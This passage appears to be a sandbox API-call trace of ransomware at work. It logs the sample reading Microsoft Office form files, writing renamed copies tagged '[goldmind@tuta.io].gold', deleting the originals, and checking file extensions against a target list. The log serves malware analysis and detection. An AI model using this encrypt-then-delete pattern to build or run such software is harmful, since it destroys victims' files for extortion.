dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.099] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.099] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.100] GetLastError () returned 0x0 [0116.100] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x280, lpOverlapped=0x0) returned 1 [0116.101] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x290, lpOverlapped=0x0) returned 1 [0116.101] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.101] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0116.101] SetEndOfFile (hFile=0x188) returned 1 [0116.102] CloseHandle (hObject=0x188) returned 1 [0116.102] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.102] SetEndOfFile (hFile=0x38c) returned 1 [0116.103] CloseHandle (hObject=0x38c) returned 1 [0116.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg")) returned 1 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString=".doc") returned 4 [0116.105] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString=".docx") returned 5 [0116.105] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0116.105] lstrlenW (lpString=".pdf") returned 4 [0116.105] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString=".xls") returned 4 [0116.105] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString=".xlsx") returned 5 [0116.105] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0116.105] lstrlenW (lpString=".ppt") returned 4 [0116.105] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString=".zip") returned 4 [0116.105] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString=".rar") returned 4 [0116.105] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString=".bz2") returned 4 [0116.105] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.105] lstrlenW (lpString=".7z") returned 3 [0116.105] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString=".dbf") returned 4 [0116.105] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString=".1cd") returned 4 [0116.105] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString=".jpg") returned 4 [0116.105] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.105] lstrlenW (lpString=".doc") returned 4 [0116.105] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString=".docx") returned 5 [0116.105] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0116.105] lstrlenW (lpString=".pdf") returned 4 [0116.105] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.105] lstrlenW (lpString=".xls") returned 4 [0116.105] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.106] lstrlenW (lpString=".xlsx") returned 5 [0116.106] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0116.106] lstrlenW (lpString=".ppt") returned 4 [0116.106] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.106] lstrlenW (lpString=".zip") returned 4 [0116.106] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.106] lstrlenW (lpString=".rar") returned 4 [0116.106] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.106] lstrlenW (lpString=".bz2") returned 4 [0116.106] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.106] lstrlenW (lpString=".7z") returned 3 [0116.106] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.106] lstrlenW (lpString=".dbf") returned 4 [0116.106] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.106] lstrlenW (lpString=".1cd") returned 4 [0116.106] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0116.106] lstrlenW (lpString=".jpg") returned 4 [0116.106] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.106] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.106] lstrlenW (lpString="SMIMES.CFG") returned 10 [0116.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.107] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=668) returned 1 [0116.107] CloseHandle (hObject=0x38c) returned 1 [0116.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg")) returned 0x20 [0116.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.107] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.107] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.109] GetLastError () returned 0x0 [0116.109] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x29c, lpOverlapped=0x0) returned 1 [0116.109] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0116.110] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.110] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0116.110] SetEndOfFile (hFile=0x188) returned 1 [0116.110] CloseHandle (hObject=0x188) returned 1 [0116.110] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.111] SetEndOfFile (hFile=0x38c) returned 1 [0116.112] CloseHandle (hObject=0x38c) returned 1 [0116.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg")) returned 1 [0116.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.113] lstrlenW (lpString=".doc") returned 4 [0116.113] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.113] lstrlenW (lpString=".docx") returned 5 [0116.113] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0116.113] lstrlenW (lpString=".pdf") returned 4 [0116.114] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".xls") returned 4 [0116.114] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".xlsx") returned 5 [0116.114] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0116.114] lstrlenW (lpString=".ppt") returned 4 [0116.114] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.114] lstrlenW (lpString=".zip") returned 4 [0116.114] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".rar") returned 4 [0116.114] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".bz2") returned 4 [0116.114] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.114] lstrlenW (lpString=".7z") returned 3 [0116.114] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.114] lstrlenW (lpString=".dbf") returned 4 [0116.114] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.114] lstrlenW (lpString=".1cd") returned 4 [0116.114] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.114] lstrlenW (lpString=".jpg") returned 4 [0116.114] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.114] lstrlenW (lpString=".doc") returned 4 [0116.114] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".docx") returned 5 [0116.114] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0116.114] lstrlenW (lpString=".pdf") returned 4 [0116.114] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".xls") returned 4 [0116.114] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".xlsx") returned 5 [0116.114] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0116.114] lstrlenW (lpString=".ppt") returned 4 [0116.114] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.114] lstrlenW (lpString=".zip") returned 4 [0116.114] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.114] lstrlenW (lpString=".rar") returned 4 [0116.114] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.115] lstrlenW (lpString=".bz2") returned 4 [0116.115] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.115] lstrlenW (lpString=".7z") returned 3 [0116.115] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.115] lstrlenW (lpString=".dbf") returned 4 [0116.115] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.115] lstrlenW (lpString=".1cd") returned 4 [0116.115] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0116.115] lstrlenW (lpString=".jpg") returned 4 [0116.115] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.115] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.115] lstrlenW (lpString="SMSL.ICO") returned 8 [0116.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.116] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=10134) returned 1 [0116.116] CloseHandle (hObject=0x38c) returned 1 [0116.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico")) returned 0x20 [0116.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.116] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.116] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.117] GetLastError () returned 0x0 [0116.117] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x2796, lpOverlapped=0x0) returned 1 [0116.118] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x27a0, lpOverlapped=0x0) returned 1 [0116.119] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.119] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0116.119] SetEndOfFile (hFile=0x188) returned 1 [0116.119] CloseHandle (hObject=0x188) returned 1 [0116.120] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.120] SetEndOfFile (hFile=0x38c) returned 1 [0116.121] CloseHandle (hObject=0x38c) returned 1 [0116.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico")) returned 1 [0116.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.122] lstrlenW (lpString=".doc") returned 4 [0116.122] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.122] lstrlenW (lpString=".docx") returned 5 [0116.122] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.122] lstrlenW (lpString=".pdf") returned 4 [0116.122] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.122] lstrlenW (lpString=".xls") returned 4 [0116.122] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.122] lstrlenW (lpString=".xlsx") returned 5 [0116.122] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.122] lstrlenW (lpString=".ppt") returned 4 [0116.122] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString=".zip") returned 4 [0116.123] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString=".rar") returned 4 [0116.123] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString=".bz2") returned 4 [0116.123] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.123] lstrlenW (lpString=".7z") returned 3 [0116.123] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString=".dbf") returned 4 [0116.123] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString=".1cd") returned 4 [0116.123] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString=".jpg") returned 4 [0116.123] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString=".doc") returned 4 [0116.123] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.123] lstrlenW (lpString=".docx") returned 5 [0116.123] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.123] lstrlenW (lpString=".pdf") returned 4 [0116.123] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString=".xls") returned 4 [0116.123] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString=".xlsx") returned 5 [0116.123] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.123] lstrlenW (lpString=".ppt") returned 4 [0116.123] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString=".zip") returned 4 [0116.123] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString=".rar") returned 4 [0116.123] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.123] lstrlenW (lpString=".bz2") returned 4 [0116.123] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.123] lstrlenW (lpString=".7z") returned 3 [0116.123] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.123] lstrlenW (lpString=".dbf") returned 4 [0116.123] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.124] lstrlenW (lpString=".1cd") returned 4 [0116.124] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0116.124] lstrlenW (lpString=".jpg") returned 4 [0116.124] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.124] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.124] lstrlenW (lpString="SMSS.ICO") returned 8 [0116.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.124] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2238) returned 1 [0116.124] CloseHandle (hObject=0x38c) returned 1 [0116.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico")) returned 0x20 [0116.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.125] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.125] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.126] GetLastError () returned 0x0 [0116.126] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: 